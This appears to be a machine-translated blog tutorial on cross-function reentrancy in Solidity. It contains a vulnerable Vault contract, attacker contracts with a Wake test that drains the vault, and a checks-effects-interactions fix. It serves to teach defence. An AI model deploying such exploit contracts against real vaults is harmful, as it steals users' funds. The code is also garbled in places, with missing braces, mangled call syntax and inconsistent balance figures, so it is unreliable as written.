What is a cross-function reentrancy attack?
Cross-function reentrant attacks use multiple functions to execute the attack, which can occur when single-function reentrant attacks are improperly mitigated. Cross-function reentrant attacks are more complex to find vulnerabilities in than single-function reentrant attacks because they use a combination of multiple functions.
This article explores how cross-function reentrancy attacks work, examples of attacks, and how to prevent cross-function reentrancy attacks.
Example of a cross-functional reentrancy vulnerability
This smart contract adds: transfer
The ability to transfer a user’s value to another user without using ETH.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract Vault is ReentrancyGuard
mapping (address => uint) private balances;
function deposit() external payable nonReentrant
balances(msg.sender) += msg.value;
function transfer(address to, uint amount) public
if (balances(msg.sender) >= amount)
balances(to) += amount;
balances(msg.sender) -= amount;
function withdraw() public nonReentrant // we can use noReentrant here.
uint amount = balances(msg.sender);
msg.sender.callvalue: amount("");
balances(msg.sender) = 0; // did not checked balance. just overwrite to 0.
This is very similar to single function reentrancy, but we set up a reentrancy guard. withdraw
And since there is a deposit function, this code cannot perform the same attack. However, the forward function does not have: nonReentrant
.
The problem is that the state change is not completed before the transfer function becomes callable by the user. For example, if the user withdraw
The function makes an external call and receives ETH. The balance is then transferred to another address. However, after the external call, the balance is simply set to 0. As a result, the total ETH balance of both accounts is effectively doubled for the same user.
Cross-functional reentrancy attack steps
After making a call attack
function,
- Call
deposit
Strengthens balance against attacks. - Call
withdraw
It is a function and performs an external call.Attacker
and call itreceive
It performs the function and transfers the amount deposited by the attacker to:Attacker2
. - So now the sum of Attacker and Attacker2 is multiplied by several times.
- Call
transfer
and transfer the balanceAttacker2
toAttacker
Now the value of the balance is equal to the step.1.
butAttacker2
You received ETH in the previous step.
We repeat the task.
This is the attacker’s contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";
contract Attacker
Vault victim;
uint256 amount = 1 ether;
Attacker2 public attacker2;
constructor(Vault _victim) payable
victim = Vault(_victim);
function setattacker2(address _attacker2) public
attacker2 = Attacker2(_attacker2);
function attack() public payable
uint256 value = address(this).balance;
victim.depositvalue: value();
while(address(victim).balance >= amount)
victim.withdraw();
attacker2.send( value , address(this));
/**
* @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2.
* Because burn balance of attacker1 after this function.
* @dev triggered by victim.withdraw()
*/
receive() external payable
victim.transfer(address(attacker2), msg.value);
contract Attacker2
uint256 amount = 1 ether;
Vault victim;
constructor(Vault _victim)
victim = Vault(_victim);
function send(uint256 value, address attacker) public
victim.transfer(attacker, value);
This is an exploit.
Attacker
You need to know Attacker2
let go. Attacker2
Since it could be an EOA, I used a simple contract that only needed to be marked.
from wake.testing import *
from pytypes.contracts.crossfunctionreentrancy.vault import Vault
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker2
@default_chain.connect()
def test_default():
print("---------------------Cross Function Reentrancy---------------------")
victim = default_chain.accounts(0)
attacker = default_chain.accounts(1)
vault_contract = Vault.deploy(from_=victim)
vault_contract.deposit(from_=victim, value="10 ether")
attacker_contract = Attacker.deploy(vault_contract.address, from_=attacker , value="1 ether")
attacker2_contract = Attacker2.deploy(vault_contract.address, from_=attacker)
attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
print("Vault balance : ", vault_contract.balance)
print("Attacker balance: ", attacker_contract.balance)
print("----------Attack----------")
attacker_contract.attack(from_=attacker)
print("Vault balance : ", vault_contract.balance)
print("Attacker balance: ", attacker_contract.balance)
This is the output of Wake.
We can see that the Vault balance changed from 5 EHT to 0 ETH. The Attacker balance changed from 1 ETH to 6 ETH.
This is inter-functional reentrancy.
Preventing Cross-Function Reentrancy Attacks
There are ways to prevent these attacks.
CEI(Check-Effect-Interaction)
As with the single-function reentrancy example, the simplest precaution is to avoid making untrusted calls during state changes.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract Vault
mapping (address => uint) private balances;
function deposit() external payable
balances(msg.sender) += msg.value;
function transfer(address to, uint amount) public
if (balances(msg.sender) >= amount)
balances(to) += amount;
balances(msg.sender) -= amount;
function withdraw() public // we can use noReentrant here.
uint amount = balances(msg.sender);
balances(msg.sender) = 0; // change balance
msg.sender.callvalue: amount(""); // external call
There may be other ways to prevent this, but for example using Reentrancy-Guard would still leave you vulnerable to other types of reentrancy, so applying the CEI pattern is the best option.
conclusion
The main problem and cause of reentrancy attacks is that even in the middle of the process of any function, a value can be modified and the value is different from what it should be. There are many ways to modify this, but even if you can prevent reentrancy attacks, you can still use and exploit other types of reentrancy attacks. These attacks will be discussed in future blogs.
There is a reentrancy cases Github repository that lists several types of reentrancy attacks along with protocol-specific reentrancy exploits and prevention cases, as well as guidance blog posts.